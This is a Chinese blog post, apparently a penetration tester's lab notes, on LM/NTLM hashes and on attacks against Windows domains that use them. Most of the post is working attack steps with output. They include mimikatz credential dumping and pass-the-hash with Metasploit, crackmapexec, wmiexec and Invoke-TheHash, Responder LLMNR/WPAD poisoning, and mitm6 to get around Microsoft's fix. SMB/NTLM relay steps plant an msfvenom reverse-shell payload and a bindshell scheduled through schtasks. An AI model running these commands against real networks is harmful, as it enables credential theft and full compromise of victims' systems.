HacKerQWQ的博客空间

内网渗透之LM、NTLM认证学习及攻击

Word count: 5.3kReading time: 21 min
2021/07/01 Share

参考链接:

  1. https://mp.weixin.qq.com/s/ZjdQVG__98doTH2GCjLNww
  2. https://mp.weixin.qq.com/s/UA9P-lgiS1oIrv4oL_mD-g

基础知识

SSP&SSPI

  • SSPI(Security Support Provider Interface),安全服务提供接口
  • SSP(Security Service Provider),安全服务提供,实现SSP的角色,如NTLM SSP、Kerberos SSP、Digest SSP、Cred SSP等

Windows认证

Windows认证不通过明文密码而通过Hash值认证。

Windows中最常见的是NTLM认证Kerberos认证

LM Hash&NTLM Hash

本地用户保存用户密码Hash值再SAM文件中,位置是%SystemRoot%\system32\config\SAM,域用户的Hash值位于NTDS.dit中,文件位置是C:\WINDOWS\NTDS\ntds.dit,以下是Hash值格式

1
Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::

其中的 AAD3B435B51404EEAAD3B435B51404EELM Hash31D6CFE0D16AE931B73C59D7E0C089C0NTLM Hash

LM Hash

LM Hash 的全称为 LAN Manager Hash,这是 Windows 中最早用的加密算法。

LM Hash的计算方式如下:

1
2
3
4
5
6
7
8
9
1. 用户的密码转换为大写,密码转换为16进制字符串,不足14字节将会用0来再后面补全。

2. 密码的16进制字符串被分成两个7byte部分。每部分转换成比特流,并且长度位56bit,长度不足使用0在左边补齐长度

3. 再分7bit为一组,每组末尾加0,再组成一组

4. 上步骤得到的二组,分别作为key 为 "KGS!@#$%"进行DES加密。

5. 将加密后的两组拼接在一起,得到最终LM HASH值。

NTLM Hash

为了解决 LM Hash 加密和身份验证方案中固有的安全弱点,Microsoft 于1993年在Windows NT 3.1中引入了NTLM协议。下面是各个版本对LM和NTLM的支持。

Windows VistaWindows Server 2008开始,默认情况下只存储 NTLM Hash,LM Hash 将不再存在。如果空密码或者不储蓄 LM Hash 的话,我们抓到的LM Hash是 AAD3B435B51404EEAAD3B435B51404EE。所以在 Windows 7 中我们看到抓到 LM Hash 都是AAD3B435B51404EEAAD3B435B51404EE,没有意义。

LM Hash的计算方式如下:

1
2
3
1.先将用户密码转换为十六进制格式。
2.将十六进制格式的密码进行Unicode编码。
3.使用MD4摘要算法对Unicode编码数据进行Hash计算

NTLM身份认证

Windows 的 NTLM 认证就是利用 NTLM Hash 进行的认证,可以分为 本地认证网络认证 两种方式。NTLM 的网络认证,既可用于域内的认证服务,又可用于工作组环境。NTLM 有 NTLMv1NTLMv2NTLMsession v2 三个版本,目前使用最多的是NTLMv2版本。

NTLM本地认证

当用户在 Windows 本地登录时,用户的密码存储在本地计算机的 SAM 文件里,当用户输入密码进行本地认证的过程中,用户输入的密码将为被转化为 NTLM Hash,然后与SAM中的NTLM Hash进行比较。当用户注销、重启、锁屏后,操作系统会让 winlogon.exe 显示登录界面(输入框)。当 winlogon.exe 接收输入后,会将密码交给lsass进程。lsass.exe 是一个系统进程,用于微软Windows系统的安全机制。它用于本地安全和登陆策略,这个进程中会存一份明文密码,将明文密码加密成 NTLM Hash,对SAM数据库比较认证。

NTLM在工作组中的认证

NTLM在工作组和在域中都采用Challenge/Response验证机制,由如下三个部分组成

  • type1: 协商(negotiate)
  • type2: 质询(challenge)
  • type3: 身份验证(Authenticate)

用如下图可概括
20210701210432

NTLM在域环境中的认证

依旧是type1、2、3,不过是身份验证部分交给了DC来进行

如下图概括
NTLM域认证

Net-NTLM Hash

Net-NTLM Hash 是网络环境下 NTLM 认证的散列值。NTLM v1 响应和 NTLM v2 响应对应的就是 Net-NTLM Hash 分为 Net-NTLM Hash v1 Net-NTLM Hash v2
Net-NTLM Hash v1的格式为:

1
username::hostname:LM response:NTLM response:challenge

Net-NTLM Hash v2的格式为:

1
username::domain:challenge:HMAC-MD5:blob

PTH哈希传递攻击

利用原理

用户进行WindowsNTLM认证时采用Hash值而不是明文密码,因此理论上只要得到了其他内网用户的Hash值,就可以利用Hash值远程登录目标主机或者反弹shell。

利用条件

  1. 被pth攻击的计算机未打补丁(KB2871997)
  2. 拿到一台域成员主机并且拿到管理员组的域用户的NTLM(难,一般没有)
  3. 对方主机存在相同账号并且是管理员组成员

拓扑图

20210629203835

利用过程

在win7上上传mimikatz,尝试抓取其他用户的NTLM Hash

1
2
privilege::debug
sekurlsa::logonpasswords

20210701224302
添加到lsass中

1
sekurlsa::pth /user:administrator /domain:pentest.com /ntlm:6ab1932ee89eb324fc92d609efe46c3d

然后会弹出一个新的窗口
20210702005009
此时可以查看共享目录并且上传反弹马进一步利用

1
2
3
copy bindshell.exe \\OWA\c$        // 将msf木马bindshell.exe复制到目标机器上
schtasks /create /tn "shell" /tr C:\bindshell.exe /sc MINUTE /s 192.168.52.138
# /tn 任务名 /tr 指定任务运行的程序或命令 /sc 指定计划在一分钟后运行 /s 指定远程计算机名称或IP

命令总结

1
2
mimikatz.exe privilege::debug "sekurlsa::pth /domain:workgroup /user:administrator /ntlm:4d6e43b2cdc951808100f5b1d09aac63 /run:cmd.exe" 
//传递hash

使用Metasploit进行PTH攻击

通常使用三个模块进行PTH攻击

1
2
3
auxiliary/admin/smb/psexec_command      // 在目标机器上执行系统命令              
exploit/windows/smb/psexec // 用psexec执行系统命令
exploit/windows/smb/psexec_psh // 使用powershell作为payload

使用smb/psexec模块进行攻击

1
2
3
4
5
6
7
use exploit/windows/smb/psexec
set rhosts 192.168.52.141
set smbuser administrator
set smbpass 00000000000000000000000000000000:6ab1932ee89eb324fc92d609efe46c3d
# 完整的Administrator用户的Hash
set smbdomain pentest.com
run

上面的Hash可以用明文密码也可以用Hash值,格式是LM Hash:NTLM Hash,若不清楚LM Hash可以用32个0代替
20210702114049
攻击成功,直接是SYSTEM权限,接下来可以构造黄金票据留后门。不要忘了设置通向内网的路由或者代理

crackmapexec进行攻击

命令

1
2
crackmapexec smb 192.168.2.2 -u administrator -H 00000000000000000000000000000000:6ab1932ee89eb324fc92d609efe46c3d -d pentest.com -x whoami
# -u 用户名 -H Hash值(可以没有LM部分) -d 域名 -x 执行的系统命令
1
2
3
4
5
root@kali:~/Desktop# crackmapexec smb 192.168.2.2 -u administrator -H 00000000000000000000000000000000:6ab1932ee89eb324fc92d609efe46c3d -d pentest.com -x whoami
SMB 192.168.2.2 445 JC-DC [*] Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (name:JC-DC) (domain:pentest.com) (signing:True) (SMBv1:True)
SMB 192.168.2.2 445 JC-DC [+] pentest.com\administrator 00000000000000000000000000000000:6ab1932ee89eb324fc92d609efe46c3d (Pwn3d!)
SMB 192.168.2.2 445 JC-DC [+] Executed command
SMB 192.168.2.2 445 JC-DC pentest\administrator

利用WmiExec进行PTH攻击

1
python3 wmiexec.py -hashes 00000000000000000000000000000000:6ab1932ee89eb324fc92d609efe46c3d pentest/administrator@192.168.2.2 "whoami"

20210702122609
exe版本的同理

利用Invoke-Thehash进行Pth攻击

下载地址:https://github.com/Kevin-Robertson/Invoke-TheHash

Invoke-TheHash项目是一个基于.Net TCPClient,通过把NTLM hash传递给NTLMv2身份验证协议来进行身份验证的攻击套件,且执行时客户端不需要本地管理员权限

支持对内网IP进行批量PTH攻击!!!

1
2
3
IEX (New-Object Net.WebClient).DownloadString('http://192.168.2.128:8000/Invoke-TheHash/Invoke-WMIExec.ps1');

IEX (New-Object Net.WebClient).DownloadString('http://192.168.2.128:8000/Invoke-TheHash/Invoke-TheHash.ps1');Invoke-TheHash -Type WMIExec -Target 192.168.16.0/24 -Domain pentest.com -Username administrator -Hash 6ab1932ee89eb324fc92d609efe46c3d -Command "whoami" -verbose
  • -Target :目标主机名或IP地址/段。
  • -Username:用于身份验证的用户名。
  • -Domain:用于身份验证的域。本地帐户或在用户名后使用@domain时不需要此参数。
  • -Hash:用于身份验证的NTLM密码哈希(格式:LM:NTLM 或 NTLM)。
  • -Command:在目标上执行的命令。如果命令未指定,则将检查用户名和哈希是否可以访问目标上的SCM。
    20210702124412

PTH攻击的预防

微软在2014年5月发布了 KB2871997KB2928120 两个补丁。KB2871997是针对PTH攻击的,这个被称为“PTH杀手”的更新将使本地帐号不再可以用于远程接入系统,不管是 Network logon 还是 Interactive login。其后果就是:无法通过本地管理员权限对远程计算机使用 PsexecWMIsmbexecIPC 等,也无法访问远程主机的文件共享等。

但是在测试中发现,在打了 kb2871997 这个补丁后,常规的哈希传递已经无法成功,但是唯独默认的 Administrator(SID 500)帐号例外,利用这个账号仍可以进行哈希传递。注意即使把Administrator改名了,它的SID仍然是500,只要它还是 SID 500那么以前的攻击方法还是有效。

利用 NTLM 进行内网信息收集

在NTLM认证中 TYPE 2 消息返回 Challenge 的过程中,同时返回了操作系统类型,主机名,NetBIOS 名称等。这也就意味着如果我们在能跟服务器进行 NTLM 交流中,给服务器发送一个 TYPE 1 的请求,服务器返回 TYPE 2 消息的响应,这一步,我们就可以得到很多信息。

NTLM Relay

NTLM hash 分为 NTLMv1 NTLMv2 NTLM session v2 三种,NTLMv2 的强度比 NTLMv1 强了不少 ,我们在实战中,如果获得的是NTLMv1的话直接对其进行爆破就行了,而现实情况中我们遇到的是 NTLMv2NTLMv2的密码强度高了不少,因此如果你没有一个超级强大的字典,你很难得到明文密码。那么,如果爆破行不通的话我们不妨试一下NTLM Relay攻击。

在这个NTLM Relay中,我们就是要将截获的Net-NTLM Hash重放来进行攻击,从而实现对其他机器的控制,所以严格意义上应该叫作Net-NTLM Relay

获取Net-NTLM Hash

前置知识

LLMNR

链路本地多播名称解析(LLMNR)Link-Local Multicast Name Resolution,是一个基于协议的域名系统(DNS)数据包的格式,使得双方的IPv4IPv6的主机来执行名称解析为同一本地链路上的主机

如果用户访问另一台主机,在内部缓存和DNS服务器解析失败时,就会启用LLMNR,向局域网内主机通过UDP发送多播查询,收到请求的主机若发现请求解析的主机名是自己就会返回自己IP,不是则丢弃

NetBIOS

Netbios(Network Basic Input Output System),网络基本输入输出系统,NetBIOS的工作流程就是正常的机器名解析查询应答过程,NetBIOS也是计算机标识名称

Windows系统名称解析顺序

  1. 本地hosts文件(%windir%\System32\drivers\etc\hosts)
  2. DNS缓存/DNS服务器
  3. 链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBT-NS)

由于第三过程未被认证,并且广播到整个网络,从而允许网络上的任何机器响应并声称是目标机器。通过工具监听LLMNRNetBIOS广播,攻击者可以伪装成受害者要访问的目标机器,并从而让受害者交出相应的登陆凭证

获取原理

我们此处利用SMB协议获取Net-NTLM Hash(对于SMB协议,客户端在连接服务端时,默认先使用本机的用户名和密码hash尝试登录,所以攻击者可以模拟SMB服务器从而截获hash),当用户使用LLMNRNetBIOS进行计算机名称解析时,我们可以要求受害者主机进行身份验证,从而得到Net-NTLM Hash

工具:

利用LLMNR和NetBIOS欺骗

在攻击机responsder开启监听

1
responder -I eth0 -f -v
  • -I:指定使用的网卡
  • -f:允许攻击者查看受害者的主机指纹
  • -v:显示详细信息,responder 在截获目标的 Net-NTLM Hash 后,会将 Net-NTLM Hash 记录在日志中,之后再次截获将不再显示 Net-NTLM Hash,要想再次显示 Net-NTLM Hash 则需要加上这个 -v 选项

此时在win7尝试连接未命名主机

1
2
net use \\bunny
dir \\bunny\c$

kali得到了Net-NTLM Hash:
20210702170303

利用WPAD劫持

  • PAC
    全称代理自动配置文件(Proxy Auto-Config),该文件定义了浏览器和其他用户代理如何自动选择适当的代理服务器来访问一个URL。要使用 PAC,我们应当在一个网页服务器上发布一个PAC文件,并且通过在浏览器的代理链接设置页面输入这个PAC文件的URL或者通过使用WPAD协议告知用户代理去使用这个文件。在 WPAD 标准中,PAC 文件使用 wpad.dat,PAC文件举例:
    1
    2
    3
    4
    5
    6
    7
    #!js
    function FindProxyForURL(url, host) {
    if (url== 'http://www.baidu.com/') return 'DIRECT';
    if (host== 'twitter.com') return 'SOCKS 127.0.0.10:7070';
    if (dnsResolve(host) == '10.0.0.100') return 'PROXY 127.0.0.1:8086;DIRECT';
    return 'DIRECT';
    }
  • WPAD
    WPAD 网络代理自动发现协议是一种客户端使用DCHP、DNS、LLMNR、NBNS 协议来定位一个代理配置文件(PAC)URL的方法。WPAD 通过让浏览器自动发现代理服务器,查找存放 PAC 文件的主机来定位代理配置文件,下载编译并运行,最终自动使用代理访问网络。

在浏览器设置为 “自动检测代理设置” 的情况下,用户在访问网页时,首先会查询 PAC 文件的位置,然后获取 PAC 文件,将 PAC 文件作为代理配置文件。查询 PAC 文件的顺序如下:

  1. 通过 DHCP 服务器
  2. 查询 WPAD 主机的IP
  • Hosts
  • DNS (cache / server)
  • LLMNR
  • NBNS
    这个地方就涉及到两种攻击劫持的方式。

利用LLMNR/NBNS投毒

利用条件

浏览器设置了自动检测代理设置
20210702172016

利用原理

假如域内没有配置域名放置wpad.dat的话,就会使用LLMNR询问WPAD的IP,此时攻击者准备好wpad.dat文件,当LLMNR问询到攻击机时,就可以伪造网页要求输入账号密码获取Net-NTLM Hash,诱导下载exe文件等。

利用过程

在攻击机打开responder监听,并开启WDAP服务器

1
responder -I eth0 -r on -v -F on -w on
  • -w:开启 WPAD 服务
  • -F:强制进行

此时在win7(受害者主机)上访问baidu.com时,就会弹出要求输入账号密码的窗口
20210702172353
如果员工安全意识不强,输入了账号密码,就会被获取Net-NTLM Hash
20210702172454

限制绕过

限制条件

很不幸的是,微软在2016年发布了 MS16-077 安全公告,添加了两个重要的保护措施,以缓解这类攻击行为:

  1. 系统再也无法通过广播协议来解析 WPAD 文件的位置,只能通过使用 DHCPDNS 协议完成该任务。
  2. 更改了 PAC 文件下载的默认行为,以便当 WinHTTP 请求 PAC 文件时,不会自动发送客户端的域凭据来响应 NTLM 或协商身份验证质询。

绕过原理

有的Windows系统都会默认启用 IPv6 网络,并且其优先级要高于 IPv4 网络,在 DHCP V6 协议中,客户端通过向组播地址 [ff02::1:2] 发送 Solicit 报文来定位 DHCP V6 服务器,可以通过将受害者的DNS服务器地址设置为攻击者的IP地址,这样查询WPAD配置的时候就会到攻击机上获取

原理请看原文:https://mp.weixin.qq.com/s/UA9P-lgiS1oIrv4oL_mD-g

绕过方法

工具:https://github.com/fox-it/mitm6

首先查看攻击机的IPv6
20210702181604
在攻击机上监听网卡上的DHCP v6流量

1
mitm6 -d pentest.com -i eth0

此时如果受害者重新进行网络配置如重启、重新插入网线等,就会为受害者分配一个IPv6地址
20210702181108
此时受害者的DNS服务器地址已经变成了攻击机的IPv6
20210702181531
第二步限制条件,只需要通过responder保持-F选项,保持截获Net-HTLM Hash的行为即可

绕过总结

1
2
3
4
5
攻击机执行:
mitm6 -d pentest.com -i eth0
#替换受害机的DNS指向攻击机
responder -I eth0 -r on -v -F on -w on
#截获Net-NTLM Hash

其他方法

参考

  1. https://www.jianshu.com/p/1b545a8b8b1e
  2. https://mp.weixin.qq.com/s/UA9P-lgiS1oIrv4oL_mD-g

SMB Relay(SMB中继)攻击

利用原理

抓取用户的Net-NTLM Hash进行重放,也叫relay,SMB协议的Relay攻击是最直接有效的方法,可以直接控制该服务器(包括但不限于在远程服务器上执行命令、上传exe到远程主机上执行、dump 服务器的用户hash等等)。

利用环境

这里主要有两种场景

详情见:https://www.anquanke.com/post/id/194069#h2-4

  1. 工作组环境

这个实用性比较差。在工作组环境里面,工作组中的机器之间相互没有信任关系,每台机器的账号密码Hash只是保存在自己的SAM文件中,这个时候Relay到别的机器,除非两台机器的账号密码一样(如果账号密码一样,我为啥不直接pth呢),不然没有别的意义了,这个时候的攻击手段就是将机器reflect回机子本身。因此微软在ms08-068中对smb reflect到 smb 做了限制,防止了同一主机从SMB协议向SMB协议的Net-NTLMhash relay。这个补丁在**CVE-2019-1384(Ghost Potato)**被绕过。

自从MS08-068漏洞修复之后无法再将Net-NTLM哈希值传回到发起请求的机器上,除非进行跨协议转发,但是该哈希值仍然可以通过中继转发给另外一台机器。利用Responder结合其他中继工具可以进行自动化的拦截并且对哈希值进行中继转发。唯一的一个不足之处就是,在这之前需要在进行转发操作的机器上禁用SMB签名。但是除了个别的例外,所有的Windows操作系统都默认关闭了SMB签名。

链接:https://www.jianshu.com/p/c7d8e7d9c03c

  1. 域环境

域环境底下域用户的账号密码Hash保存在域控的 ntds.dit里面。如下没有限制域用户登录到某台机子,那就可以将该域用户Relay到别人的机子,或者是拿到域控的请求,将域控Relay到普通的机子,比如域管运维所在的机子。(为啥不Relay到其他域控,因为域内就域控默认开启smb签名)

拓扑图

20210629203835

使用Responder中的MultiRelayx.py进行SMB Relay攻击

利用过程

使用responder内的RunFinger.py工具扫描域内机器的SMB签名情况

1
python3 RunFinger.py -i 192.168.2.0/24

20210704161608
可以看到Signing是false的机器都是可以利用的

接下来使用MultiRelay.py开始监听,准备getshell

1
python3 MultiRelay.py -t 192.168.2.3 -u ALL

20210704162644
Responder.conf的SMB、HTTP设置为Off,不拦截Net-NTLM Hash,对请求作出响应
20210704162621
启动Responder,监听对应域内的网卡

1
responder -I eth0

在域控发出SMB请求给一个不存在的用户,触发LLNMR/NBNS,如

1
net use \\hhh

此时查看结果成功getshell,是SYSTEM权限
20210704163046

攻击总结

  1. 查看SMB签名的情况
    1
    python3 RunFinger.py -i 192.168.2.0/24
  2. MultiRelay.py设置要攻击的目标
    1
    python3 MultiRelay.py -t 192.168.2.3 -u ALL
  3. 设置responder,关闭SMB和HTTP
    1
    2
    SMB = Off
    HTTP = Off
  4. 开启responder监听
    1
    responder -I eth0
  5. 域控发出SMB请求
    1
    net use \\hhh
    getshell

使用impacket的smbrelay.py进行SMB Relay攻击

攻击机本地开启smb服务器

1
python3 smbrelayx.py -h 192.168.2.3

受害机对攻击机发出SMB请求

1
net use \\192.168.2.128

执行命令成功
20210704165723

实际应用

现实中,只执行一条命令是不现实的,可以-e选项,通过让受害者运行本地的exe文件来维持权限

先生成exe文件

1
2
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.128 LPORT=4444 -e x86/shikata_ga_nai -f exe -o ~\shell.exe
# x86/shikata_ga_nai是编码方式

然后运行smbrelayx.py脚本,当监听到smb请求时运行shell

1
2
python3 smbrelayx.py -h 192.168.2.3 -e /root/shell.exe
#python3 smbrelayx.py -h 攻击主机 -e 运行程序

开启metasploit,设置如下

1
2
3
4
set payload windows/metepreter/reverse_tcp
set LHOST 192.168.2.128
set AutoRunScript post/windows/manage/migrate
run

设置AutoRunScript是为了得到session之后迁移进程,因为smbrelayx在执行exe之后会remove file,导致session中断

此时win server2008访问smb服务器

1
net use \\192.168.2.128\c$

得到session
20210704171633

Metasploit的smb_relay模块

模块windows/smb/smb_relay

攻击方法,msf设置好后,受害者向攻击机发起smb请求,就能get到受害者的shell

(注意:Metasploit的SMBRelay只支持NTLMv1,所以在攻击一些机器时会出现“Failed to authenticate”的情况)

这个攻击手段就是将机器reflect回机子本身。然而微软在ms08-068中对smb reflect到 smb 做了限制,防止了同一主机从SMB协议向SMB协议的Net-NTLMhash relay。这个补丁在CVE-2019-1384(Ghost Potato)被绕过。

Impacket的ntlmrelayx进行攻击

  1. 开启responder(开不开影响不大,开了更好,有响应)
    1
    responder -I eth0
  2. 使用ntlmrelayx进行监听攻击
    1
    2
    python3 ntlmrelayx.py -h 192.168.2.3 -c whoami -smb2support
    python3 ntlmrelayx.py -h 要攻击的主机 -c 执行命令 -smb2support(开启smb2支持)
  3. win server通过smb或者http访问攻击机
    20210704182258
  4. 查看结果
    20210704182014
  • 实际渗透过程中-c命令可以改为conbalt strike的powershell的命令或者Empire的

relay到WS或者LDAP

https://www.anquanke.com/post/id/194069#h3-3

CATALOG
  1. 1. 基础知识
    1. 1.1. SSP&SSPI
    2. 1.2. Windows认证
    3. 1.3. LM Hash&NTLM Hash
      1. 1.3.1. LM Hash
      2. 1.3.2. NTLM Hash
  2. 2. NTLM身份认证
    1. 2.1. NTLM本地认证
    2. 2.2. NTLM在工作组中的认证
    3. 2.3. NTLM在域环境中的认证
    4. 2.4. Net-NTLM Hash
  3. 3. PTH哈希传递攻击
    1. 3.1. 利用原理
    2. 3.2. 利用条件
    3. 3.3. 拓扑图
    4. 3.4. 利用过程
    5. 3.5. 命令总结
    6. 3.6. 使用Metasploit进行PTH攻击
      1. 3.6.1. 使用smb/psexec模块进行攻击
      2. 3.6.2. crackmapexec进行攻击
    7. 3.7. 利用WmiExec进行PTH攻击
    8. 3.8. 利用Invoke-Thehash进行Pth攻击
    9. 3.9. PTH攻击的预防
  4. 4. 利用 NTLM 进行内网信息收集
  5. 5. NTLM Relay
    1. 5.1. 获取Net-NTLM Hash
      1. 5.1.1. 前置知识
        1. 5.1.1.1. LLMNR
        2. 5.1.1.2. NetBIOS
        3. 5.1.1.3. Windows系统名称解析顺序
      2. 5.1.2. 获取原理
      3. 5.1.3. 利用LLMNR和NetBIOS欺骗
      4. 5.1.4. 利用WPAD劫持
        1. 5.1.4.1. 利用LLMNR/NBNS投毒
          1. 5.1.4.1.1. 利用条件
          2. 5.1.4.1.2. 利用原理
          3. 5.1.4.1.3. 利用过程
      5. 5.1.5. 限制绕过
      6. 5.1.6. 其他方法
    2. 5.2. SMB Relay(SMB中继)攻击
      1. 5.2.1. 利用原理
      2. 5.2.2. 利用环境
      3. 5.2.3. 拓扑图
      4. 5.2.4. 使用Responder中的MultiRelayx.py进行SMB Relay攻击
        1. 5.2.4.1. 利用过程
        2. 5.2.4.2. 攻击总结
      5. 5.2.5. 使用impacket的smbrelay.py进行SMB Relay攻击
        1. 5.2.5.1. 实际应用
      6. 5.2.6. Metasploit的smb_relay模块
      7. 5.2.7. Impacket的ntlmrelayx进行攻击
    3. 5.3. relay到WS或者LDAP